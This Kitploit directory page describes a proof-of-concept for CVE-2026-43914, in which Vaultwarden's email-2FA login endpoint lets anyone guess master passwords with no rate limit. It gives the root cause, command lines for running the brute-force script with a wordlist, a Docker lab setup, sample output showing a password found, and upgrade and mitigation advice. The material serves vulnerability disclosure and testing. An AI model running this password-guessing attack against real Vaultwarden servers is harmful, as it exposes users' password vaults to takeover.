Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-43914-PoC — 针对 CVE-2026-43914 的 PoC:Vaultwarden <1.35.4 邮箱2FA 暴力破解绕过密码预言机。仅使用标准库的 Python。 | Kitploit
工具/GitHubGitHub/boreas37/cve-2026-43914-poc
密码攻击漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubboreas37/cve-2026-43914-poc

CVE-2026-43914-PoC

针对 CVE-2026-43914 的 PoC:Vaultwarden <1.35.4 邮箱2FA 暴力破解绕过密码预言机。仅使用标准库的 Python。

查看仓库
20天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-43914 — Vaultwarden 邮箱双因素认证暴力破解防护绕过

CVE-2026-43914 的概念验证:当启用邮箱双因素认证(Email 2FA)时,Vaultwarden 的登录暴力破解防护可通过未认证的 POST /api/two-factor/send-email-login 端点被完全绕过,该端点充当无限制的主密码预言机。

受影响版本:Vaultwarden < 1.35.4

为何重要

Vaultwarden 是最流行的自托管、兼容 Bitwarden 的密码管理器。管理员启用邮箱双因素认证,认为它可以阻止密码猜测——但该端点会先验证主密码哈希,并在任何速率限制或账户锁定生效之前,针对正确/错误猜测返回不同的 HTTP 状态码:

响应含义
200密码正确(已发送 OTP 邮件)
400 "Username or password is incorrect"密码错误

知道(或猜到)受害者邮箱的攻击者可以全速暴力破解主密码,且不受任何限流约束。邮箱双因素认证无法阻止这一点。

根本原因(来自源码,v1.35.3)

在 src/api/core/two_factor/email.rs 中,send_email_login 处理器会检查密码并在不匹配时提前返回——但该路由未注册用于保护 /identity/connect/token 的暴力破解/限流中间件。每次调用:

  1. 根据邮箱查找用户,
  2. 比较 check_valid_password(master_password_hash) → 不匹配时返回 err!("Username or password is incorrect")(HTTP 400),
  3. 成功后生成并通过邮件发送 OTP,返回 HTTP 200。

用法

root@kitploit:~
python3 vw_bf_poc.py --host localhost --port 8222 \
    --email [email protected] \
    --passwords "summer2024,Qwerty123!,CorrectHorse123!"

# or a wordlist:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt

仅需 Python 3 标准库。

实验环境(复现)

root@kitploit:~
# mail catcher
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog

# vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
  -e I_REALLY_WANT_VOLATILE_STORAGE=true \
  -e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
  -e [email protected] -e DOMAIN=http://localhost:8222 \
  vaultwarden/server:1.35.3

创建一个测试用户(使用任意 Bitwarden 客户端或 API),启用邮箱双因素认证(设置 → 两步登录 → 邮箱),然后对其运行 PoC。

验证输出

root@kitploit:~
$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle

  [0001] 400  -  wrong1
  [0002] 400  -  wrong2
  [0003] 200  HIT!  CorrectHorse123!

=> PASS: master password FOUND = 'CorrectHorse123!'  (1.4s, no rate limit hit)

修复建议

升级到 Vaultwarden 1.35.4+。在此之前:停用邮箱双因素认证,改用 TOTP/WebAuthn,并将实例置于反向代理之后,对 /api/two-factor/* 启用基于 IP 的速率限制。

参考资料

  • GHSA-c5rv-q295-7w4g(dani-garcia/vaultwarden 公告)
  • Neodyme 公告:cve-2026-43914

免责声明

仅限授权的安全研究与实验室使用。

下载工具